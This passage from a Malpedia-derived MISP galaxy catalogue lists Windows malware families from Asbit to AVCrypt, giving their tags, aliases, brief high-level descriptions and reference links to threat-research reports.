Table 3205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asbit
https://blogs.juniper.net/en-us/threat-research/asbit-an-emerging-remote-desktop-trojan

AscentLoader

The tag is: *misp-galaxy:malpedia="AscentLoader"*

AscentLoader is also known as:

Table 3206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader

ASPC

The tag is: *misp-galaxy:malpedia="ASPC"*

ASPC is also known as:

Table 3207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc

Asprox

The tag is: *misp-galaxy:malpedia="Asprox"*

Asprox is also known as:

- Aseljo
- BadSrc

Table 3208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox
https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign
http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/

Asruex

The tag is: *misp-galaxy:malpedia="Asruex"*

Asruex is also known as:

Table 3209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex
https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

Astaroth

First spotted in the wild in 2017, Astaroth is a highly prevalent, information-stealing Latin American banking trojan. It is written in Delphi and has some innovative execution and attack techniques. Originally, this malware variant targeted Brazilian users, but Astaroth now targets users both in North America and Europe.

The tag is: *misp-galaxy:malpedia="Astaroth"*

Astaroth is also known as:

- Guildma

Table 3210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth
https://blog.easysol.net/meet-lucifer-international-trojan/
https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/
https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research

https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt
https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/
https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/
https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/
https://isc.sans.edu/diary/27482
https://www.trendmicro.com/en_us/research/24/j/water-makara-uses-obfuscated-javascript-in-spear-phishing-campai.html
https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2020/05/astaroth-analysis.html
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

Astasia

Astasia is a banking trojan that spreads through phishing emails that contain an executable attachment. Once the attachment is executed, Astasia downloads and installs a trojan that runs in the background. The trojan can steal personal information, such as passwords and credit card numbers, from victims.

The tag is: *misp-galaxy:malpedia="Astasia"*

Astasia is also known as:

Table 3211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.astasia
https://twitter.com/MalGamy12/status/1690100567756906497

AstraLocker

The tag is: *misp-galaxy:malpedia="AstraLocker"*

AstraLocker is also known as:

Table 3212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker
https://www.bleepingcomputer.com/news/security/astralocker-ransomware-shuts-down-and-releases-decryptors/
https://blog.reversinglabs.com/blog/smash-and-grab-astralocker-2-pushes-ransomware-direct-from-office-docs
https://blog.malwarebytes.com/ransomware/2022/07/astralocker-2-0-ransomware-isnt-going-to-give-you-your-files-back/
https://www.emsisoft.com/ransomware-decryption-tools/astralocker

AsyncRAT

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim's computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.

The tag is: *misp-galaxy:malpedia="AsyncRAT"*

AsyncRAT is also known as:

Table 3213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat
https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html
https://www.netskope.com/blog/asyncrat-using-fully-undetected-downloader
https://thehackernews.com/2025/03/blind-eagle-hacks-colombian.html
https://twitter.com/vxunderground/status/1519632014361640960
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
https://www.linkedin.com/feed/update/urn:li:activity:7252248385007603713/
https://www.nimanthadeshappriya.com/post/rats-on-the-island
https://censys.com/a-beginners-guide-to-tracking-malware-infrastructure/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://embeeresearch.io/unpacking-net-malware-with-process-hacker/
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://community.riskiq.com/article/24759ad2

https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/

https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution

https://cocomelonc.github.io/book/2023/12/13/malwild-book.html

https://medium.com/@hcksyd/asyncrat-analysing-the-three-stages-of-execution-378b343216bf

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/

https://hunt.io/blog/pasteee-xworm-asyncrat-infrastructure

https://labs.k7computing.com/?p=21759

https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html

https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/

https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf

https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique

https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader

https://securelist.com/gitvenom-campaign/115694/

https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

https://mssplab.github.io/threat-hunting/2023/05/19/malware-src-asyncrat.html

https://community.riskiq.com/article/ade260c6

https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/

https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf

https://embee-research.ghost.io/unpacking-malware-using-process-hacker-and-memory-inspection/

https://twitter.com/MsftSecIntel/status/1392219299696152578

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware

https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations

https://dfir.ch/posts/asyncrat_quasarrat/

https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w

https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/

https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages

https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://aidenmitchell.ca/asyncrat-via-vbs/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

<a href="https://threatresearch.ext.hp.com/stealthy-opendocument-malware-targets-latin-american-hotels/<mark>">https://threatresearch.ext.hp.com/stealthy-opendocument-malware-targets-latin-american-hotels/</mark>

https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt

https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html

https://blog.morphisec.com/syk-crypter-discord

https://embee-research.ghost.io/unpacking-net-malware-with-process-hacker/

https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign

https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html

https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia

https://blog.cyber5w.com/analyzing-macro-enabled-office-documents

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4

https://blog.netlab.360.com/purecrypter

https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/

https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

https://redcanary.com/blog/threat-detection/network-traffic-tunneling/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight

https://cybersecurity.att.com/blogs/labs-research/asyncrat-loader-obfuscation-dgas-decoys-and-govno

https://lab52.io/blog/apt-c-36-from-njrat-to-apt-c-36/

https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html

https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/

https://0xmrmagnezi.github.io/malware%20analysis/AsyncRAT/

https://www.rapid7.com/blog/post/2024/11/21/a-bag-of-rats-venomrat-vs-asyncrat/

https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection

https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/

https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia

https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel

https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf

https://threatpost.com/ta2541-apt-rats-aviation/178422/

https://github.com/jeFF0Falltrades/rat_king_parser

https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/

https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html

https://axmahr.github.io/posts/asyncrat-detection/

https://community.riskiq.com/article/3929ede0/description

https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies

https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser

https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/

https://www.secureworks.com/research/darktortilla-malware-analysis

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/

https://hunt.io/blog/asyncrat-screenconnect-open-directory-campaigns

https://www.linkedin.com/posts/threatmon_technical-malware-analysis-report-ugcPost-7310244507218796546-dPSi

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/

https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf

https://asec.ahnlab.com/en/87621/

https://eln0ty.github.io/malware%20analysis/asyncRAT/

https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/

https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services

https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/

https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html

https://twitter.com/ESETresearch/status/1449132020613922828

https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper

https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat

https://embee-research.ghost.io/shodan-censys-queries/

https://assets.virustotal.com/reports/2021trends.pdf

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://embeeresearch.io/shodan-censys-queries/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html

https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers

https://www.esentire.com/blog/asyncrat-activity

https://www.linkedin.com/feed/update/urn:li:activity:7137086303329783808/

https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html

https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html

https://embeeresearch.io/unpacking-malware-using-process-hacker-and-memory-inspection/

https://www.gatewatcher.com/en/lab/zip-files-make-it-bigger-to-avoid-edr-detection/

https://go.recordedfuture.com/hubfs/reports/cta-2024-1209.pdf

https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise

Atharvan

The tag is: *misp-galaxy:malpedia="Atharvan"*

Atharvan is also known as:

Table 3214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research

Athena

Part of the Mythic framework, payload in C# (.NET 6), support HTTP, Websockets, Slack, SMB for C2.

The tag is: *misp-galaxy:malpedia="Athena"*

Athena is also known as:

Table 3215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.athena
https://cyble.com/blog/threat-actor-deploys-mythics-athena-agent-to-target-russian-semiconductor-suppliers/

AthenaGo RAT

The tag is: *misp-galaxy:malpedia="AthenaGo RAT"*

AthenaGo RAT is also known as:

Table 3216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago

ATI-Agent

The tag is: *misp-galaxy:malpedia="ATI-Agent"*

ATI-Agent is also known as:

Table 3217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Atlantida

The tag is: *misp-galaxy:malpedia="Atlantida"*

Atlantida is also known as:

Table 3218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atlantida
https://research.checkpoint.com/2024/stargazers-ghost-network/
https://www.rapid7.com/blog/post/2024/01/17/whispers-of-atlantida-safeguarding-your-digital-treasure/

AtlasAgent

The tag is: *misp-galaxy:malpedia="AtlasAgent"*

AtlasAgent is also known as:

Table 3219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent

https://nsfocusglobal.com/warning-newly-discovered-apt-attacker-atlascross-exploits-red-cross-blood-drive-phishing-for-cyberattack/

ATMii

The tag is: *misp-galaxy:malpedia="ATMii"*

ATMii is also known as:

Table 3220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/

ATMitch

The tag is: *misp-galaxy:malpedia="ATMitch"*

ATMitch is also known as:

Table 3221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch
https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

Atmosphere

The tag is: *misp-galaxy:malpedia="Atmosphere"*

Atmosphere is also known as:

Table 3222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere
https://www.zdnet.com/article/new-silence-hacking-group-suspected-of-having-ties-to-cyber-security-industry/
https://www.group-ib.com/resources/threat-research/silence.html

ATMSpitter

The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.

The tag is: *misp-galaxy:malpedia="ATMSpitter"*

ATMSpitter is also known as:

Table 3223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter
https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf
http://www.secureworks.com/research/threat-profiles/gold-kingswood

ATOMSILO

According to PCrisk, AtomSilo is a type of malware that blocks access to files by encrypting them and renames every encrypted file by appending the ".ATOMSILO" to its filename. It renames "1.jpg" to "1.jpg.ATOMSILO", "2.jpg" to "2.jpg.ATOMSILO", and so on. As its ransom note, AtomSilo creates the "README-FILE-COMPUTER-NAME-CREATION-TIME.hta" file.

The tag is: *misp-galaxy:malpedia="ATOMSILO"*

ATOMSILO is also known as:

Table 3224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo
https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://twitter.com/siri_urz/status/1437664046556274694?s=20
https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/

https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion

Attor

Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.

Attor's core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware's key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability.

The most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.

The tag is: *misp-galaxy:malpedia="Attor"*

Attor is also known as:

Table 3225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.attor
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform/
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform
https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf
https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/
https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html
https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami

August Stealer

The tag is: *misp-galaxy:malpedia="August Stealer"*

August Stealer is also known as:

Table 3226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html
https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

AuKill

According to Sophos, the AuKill tool abuses an outdated version of the driver used by version 16.32 of the Microsoft utility, Process Explorer, to disable EDR processes before deploying either a backdoor or ransomware on the target system.

The tag is: *misp-galaxy:malpedia="AuKill"*

AuKill is also known as:

- SophosKill

Table 3227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill
https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/

Aura Stealer

In July 2025, threat actor AuraCorp began advertising Aura Stealer as a Malware-as-a-Service (MaaS) program with multiple subscription tiers on underground forums. The information stealer targets credentials from over 110 browsers, 70 applications, and 250+ browser extensions, including cryptocurrency wallets and 2FA tools, while using AES-256 encryption for C2 communications. Notable features include seamless Chromium cookie harvesting without process termination, server-side App-Bound data decryption, and a built-in payload loader with custom morphing for detection evasion.

The tag is: *misp-galaxy:malpedia="Aura Stealer"*

Aura Stealer is also known as:

- AURA Stealer

- AURASTEAL

Table 3228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurastealer
https://foresiet.com/blog/aura-stealer-malware-analysis/

Auriga

The tag is: *misp-galaxy:malpedia="Auriga"*

Auriga is also known as:

- Riodrv

Table 3229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Aurora

Ransomware

The tag is: *misp-galaxy:malpedia="Aurora"*

Aurora is also known as:

- OneKeyLocker

Table 3230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://twitter.com/malwrhunterteam/status/1001461507513880576
https://blog.morphisec.com/in2al5d-p3in4er
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/

Aurora Stealer

First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and act as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.

The tag is: *misp-galaxy:malpedia="Aurora Stealer"*

Aurora Stealer is also known as:

Table 3231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer
https://isc.sans.edu/diary/rss/29448
https://d01a.github.io/aurora-stealer-builder/
https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/
https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html
https://research.loginsoft.com/threat-research/aurora-the-dark-dawn-and-its-menacing-effects/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://denshiyurei.medium.com/silent-echoes-the-hidden-dialogue-among-malware-entities-spotlight-on-amos-infostealer-6d7cd70e3219
https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/
https://d01a.github.io/aurora-stealer/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-aurora-stealer

Avaddon

Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.

The tag is: *misp-galaxy:malpedia="Avaddon"*

Avaddon is also known as:

Table 3232. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon

https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://www.connectwise.com/resources/avaddon-profile

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://twitter.com/dk_samper/status/1348560784285167617

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/

https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/
https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4
https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://twitter.com/Securityinbits/status/1271065316903120902
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/
https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire
https://arxiv.org/pdf/2102.04796.pdf
https://www.tgsoft.it/files/report/download.asp?id=568531345
https://www.swascan.com/it/avaddon-ransomware/
https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis

AvastDisabler

The tag is: *misp-galaxy:malpedia="AvastDisabler"*

AvastDisabler is also known as:

Table 3233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/

AVCrypt

Bleeping Computer notes about discovery of AVCrypt, a malware that tries to uninstall existing security software before it encrypts a computer. Furthermore, as it removes numerous services, including Windows Update, and provides no contact information, this ransomware may be a wiper.

The tag is: *misp-galaxy:malpedia="AVCrypt"*

AVCrypt is also known as:

Table 3234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt
https://twitter.com/malwrhunterteam/status/976925447043846145
